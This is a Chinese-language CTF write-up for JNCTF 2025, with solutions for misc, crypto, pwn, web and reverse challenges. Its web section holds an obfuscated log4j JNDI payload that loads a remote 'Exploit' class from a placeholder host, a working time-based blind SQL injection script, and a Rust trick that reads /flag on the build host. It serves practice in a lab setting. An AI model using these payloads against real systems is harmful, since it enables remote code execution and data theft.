jnctf_wp

JNCTF 2025 wp

misc

ez_pickle_jail

要求一个 base64 等于其本身,喂给 ai 之后说生成协议 0 即可。

import pickle
import base64

# 生成协议0的pickle数据(可以是任何对象,例如空字典)
original_data = pickle.dumps({}, protocol=0)

# 转换为 base64
b64_payload = base64.b64encode(original_data).decode()

# 输入到目标程序
print("Enter this payload:")
print(b64_payload)

logloglog

38163d86-b37b-4b51-920b-107acbad35d4

第一问,第二问的 ip 也是这个。

00d8c9bd-c5c9-40df-9d7c-5c220f6ac8d7

第三问的用户名。

image-20250324160525349

第四问。

第五问有若干个重启,但是数量都不大,直接顺着查一遍就行。

最终 flag:54850-192.168.36.188-Adnimistartro-8820-2

stego

找个网站给 qoi 解压成 png 格式,然后丢进 stegsolve 去看一眼。

image-20250324160805360

非常明显了。

小鼋侦探

musc 是谁的极限?

第一关丢给识图发现是福尔摩斯的某个密码表,解出来之后密码是 UpDown

用 binwalk 分解图片之后拿到 zip 包,解压拿到 story2。

image-20250324161028986

看到 K 之后被吓呆了,问出题人发现是替换密码,尝试常规的那几种,最后发现是 rot13 之后 atbash。

image-20250324161135763

看到了明文,将大小写分离出来即可。(感觉可以考虑后面自己搓一个类似的解码工具,放进语料库来辅助多层破解)

story3 一个简单零宽。

image-20250324161353425

最后一关是部分明文破解 zip 文件,用 bkcrack,当时没保存 flag 懒得再爆一次了。

流量的秘密

流量里面是一个非常明显的 sql 注入,直接提取出来之后用脚本破解即可。

我做的非常丑陋,最后手搓了很久。

import os

with open('output.txt', 'r') as file:
lines = file.read().splitlines()

flag = ''
mx = 0
vis = [0] * 100
lines.reverse()
for line in lines:

x = line[line.find("unicode(substr(flag,") + len("unicode(substr(flag,") : line.find(",1)) FROM secrets)")]
if x.isdigit():
x = int(x)
mx = max(mx, x)
if vis[x]:
continue
tem = int(line[line.find("FROM secrets)>") + len("FROM secrets)>") :])
if not vis[x]:
vis[x] = tem

for i in range(1, mx + 1):
print(chr(vis[i]), end='')
'''
KODUG|Jg`Z0v`dp`OOU`xs2u3`B`6d2jpu`2u`2s`sp0pOOp0p`HBRE`5`U`3`g2od`ui26`gmag~
JNCTF{If_Y/u_co_NNT_wr1t2_A_5c1iot_1t_1r_ro/oNNo/o_GAQD_4_T_2_f1nc_th15_fl`f}
IMBSEzHe^X.t^bn^MMS^vq0s1^@^4b0hns^0s^0q^qn.nMMn.n^F@PC^3^S^1^e0mb^sg04^ek_e|
JNCTF{If_Y0u_do_NOT_wr1t3_A_5c2ipt_1t_1s_so0nOOn0o_HARD_4_U_2_f1nd_th15_flag}
'''

crpyto

story

image-20250324162225148

字频破解?应该是叫这个。有网站

悲伤的故事

ff18049f-3cc6-4a01-a6bf-79ca2652b5d5

983a1826-9d78-4e18-9999-b88f3820cabe

95ad95a5-e3bf-4c96-8518-5f99a5876447

熟悉的故人

两个素数相邻,直接开根号之后查相邻字符即可。

import gmpy2
from Crypto.Util.number import long_to_bytes

n = 299487015341597647919776121004167231949688268241700414027108990830625623733773719845841268481813362766547912866733711608177564250583355016088619602664748425336481765034201744572985159895585715150798269166534598956939724628696559498880597219784298678035926538950792013309608367104567539694805267059251508650074879211671636277899101015682266724064486585722087645838229287808682200953448105025969146455228490015983463746790376132783796872114120190783210924155244559381221390948899033151290151152600368322574929968834669432260194965876835069287868333462555623127602208275637571642586991525702340484853548458548057993639750566860524849624229544573184492710462829280342457207433467447389201079678219686250530932773758629428257347183339748908201954402303
e = 65537
c = 173280870300519923715203696834882119083542571140839028806768298820015863852835794226059877700906545110752776137513745886446530644296244068573533415866288372258806488689702896105169105563661309394552655714439116657949182579256607803282002619932851022083044252527626831071719084726862098167058504014857808959509507079927043329860218143205867802447678657763092502703595859068700554763976014721402041206266622977798828412773984216149947581746621557407684424045536228695940316363053758694192430323960905458863919028226745439720770512594999441599361470532712341687933197440708229732759256063243580119155040005536274041077293091976606018500585881239869658926701105111190472713681295382152192237128324734905038277701951508078229426733519689307305874608135


# 计算n的平方根
root = gmpy2.isqrt(n)

# 在附近寻找p和q
p = root
while True:
p = gmpy2.next_prime(p) # 找下一个素数尝试
if n % p == 0:
q = n // p
break
print(p)
print(q)

print(long_to_bytes(pow(c, gmpy2.invert(e, (p - 1) * (q - 1)), n)).decode())

pwn

signin

发现 unregister 这个函数没有身份验证,直接将 root 用户注销之后再注册一个 root 账号即可。

然后用 become_admin 将自己的权限升成 admin,然后 get_flag 即可。

web

rustaction

发现编译环境是主机环境,并且可以下载编译产物,考虑直接将根目录下的 /flag 读取到程序里然后输出出来即可。

fn main() {
// 编译时将 /flag 文件内容作为静态字符串嵌入程序
let flag = include_str!("/flag");
println!("嵌入的flag内容为: {}", flag);
}

image-20250324163009219

Welcome_to_JNSEC

爆破密码之后得知密码是 Admin123。登录之后发现一个莫名其妙的查询,估计是 log4j2

直接弹 shell 就行了。

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx/Exploit}

貌似需要绕过 jndi。

come_to_chat

简单的 insert sql 盲注。

import time
import requests

url = "http://172.18.137.75:31481/sendMessage.php"

cookie = {"PHPSESSID": "2e6483de011e5a4b987f1c68fdeb5406"}


def get_length(Payload) -> int:
lef, rig, res = 0, 1000, 0
while lef <= rig:
mid = (lef + rig) // 2
stt = time.time()
payload = f"1' and if(length({Payload})>={mid}, sleep(2), sleep(0)) or '1 "
data = {'msg': payload}
requests.post(url, data=data, cookies=cookie)
edt = time.time()
print(edt, stt)
if edt - stt >= 2:
res = mid
lef = mid + 1
else:
rig = mid - 1
return res if res != 0 else 0


def get_str(Payload):
length = get_length(Payload)
print(f"{Payload}'s length = {length}")
result = ''
for i in range(1, length+1):
for j in range(127, 31, -1):
stt = time.time()
payload = f"1' and if(ascii(substring({Payload},{i},1))>={j}, sleep(2), sleep(0)) or '1"
data = {'msg': payload}
requests.post(url, data=data, cookies=cookie)
edt = time.time()
if edt - stt >= 2:
res = j
break
print(chr(res), end='')
# result += chr(res)
return result


if __name__ == "__main__":
get_str("(select group_concat(flag) from tutorial_db.flag)")

后面发现貌似不需要盲注,直接回带也是可以的,但是也无所谓了。(如果使用的是盲注的话可以不需要二分法进行注入,直接从大往小扫会更快一些。

eateateat

image-20250324165556933

黑客不玩游戏。

test_your_php

image-20250324165806105

image-20250324165845746

image-20250324165903812

另一半在环境变量。

其实是先看到环境变量的 flag 了。

内在美1

登录进去之后扫到 61 端口有个 redis,直接打 redis 弹 shell 即可。

懒得再打一遍了,dpc 看着我打通的。

reverse

compose

看到一个类似 RC4 的东西,丢给 ai 之后搓个脚本。

def rc4(key, data):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
result.append(byte ^ k)
return bytes(result)

# 解密示例
key = b'TanggegeHaoShuai'
enc = bytes([18, 149, 50, 91, 120, 35, 95, 97, 200, 156, 48, 14, 187, 223, 98, 223, 237, 105, 222, 247, 112, 81, 172, 246, 231, 183, 84, 8, 27, 221, 97, 58, 11, 222, 142, 149, 157, 137])

decrypted = rc4(key, enc)
print(decrypted.decode('utf-8', errors='ignore').strip())

PCC

签到, Run it, compile it

image-20250324170210269

image-20250324170451420

image-20250324170524034

compile it 不能直接用 mingw 编译,很神秘。

whereisflag?

flag1:

image-20250324171114588

flag2:看 flag4

flag3:

image-20250324171237861

flag4:

image-20250324170928486